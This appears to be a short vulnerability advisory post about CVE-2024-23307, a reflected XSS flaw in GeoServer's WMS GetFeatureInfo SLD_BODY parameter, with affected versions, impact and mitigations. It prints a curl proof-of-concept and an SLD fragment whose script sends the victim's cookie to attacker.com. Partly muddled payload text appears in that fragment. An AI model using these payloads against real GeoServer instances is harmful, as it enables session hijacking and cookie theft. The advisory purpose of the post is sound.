Listen to this Post
The CVE-2024-23307 vulnerability operates within the GeoServer Web Map Service (WMS) GetFeatureInfo request when the output format is set to text/html. The attack vector is the SLD_BODY parameter, which is used to define custom map styling. This parameter’s input is not properly sanitized or escaped in the resulting HTML response. An attacker can craft a malicious URL containing a JavaScript payload within the SLD_BODY parameter. When this link is trick-clicked by an authenticated user, the server reflects the payload directly into the HTML output without encoding. The victim’s browser then executes the attacker’s script in the context of their GeoServer session, allowing for session hijacking and full application compromise.
dailycve
Platform: GeoServer
Version: <2.22.1, <2.21.3
Vulnerability : Reflected XSS
Severity: Critical
date: 2024
Prediction: 2024-02-15
What Undercode Say:
curl -g "http://vulnerable-geoserver/wms?SERVICE=WMS&REQUEST=GetFeatureInfo&SLD_BODY=<StyledLayerDescriptor><UserStyle><FeatureTypeStyle><Rule><TextSymbolizer><Label><![CDATA[</Label></TextSymbolizer></Rule></FeatureTypeStyle></UserStyle></StyledLayerDescriptor><script>alert(document.domain)</script>"
<StyledLayerDescriptor>
...
<TextSymbolizer>
<Label>
<![CDATA[</Label>
</TextSymbolizer>
</Rule>
]]><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
How Exploit:
Crafted malicious URL.
Social engineering victims.
Session hijacking.
Protection from this CVE
Update GeoServer version.
Enable HTML auto-escaping.
Disable dynamic styling.
Impact:
Full application control.
Data theft/modification.
Privilege escalation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
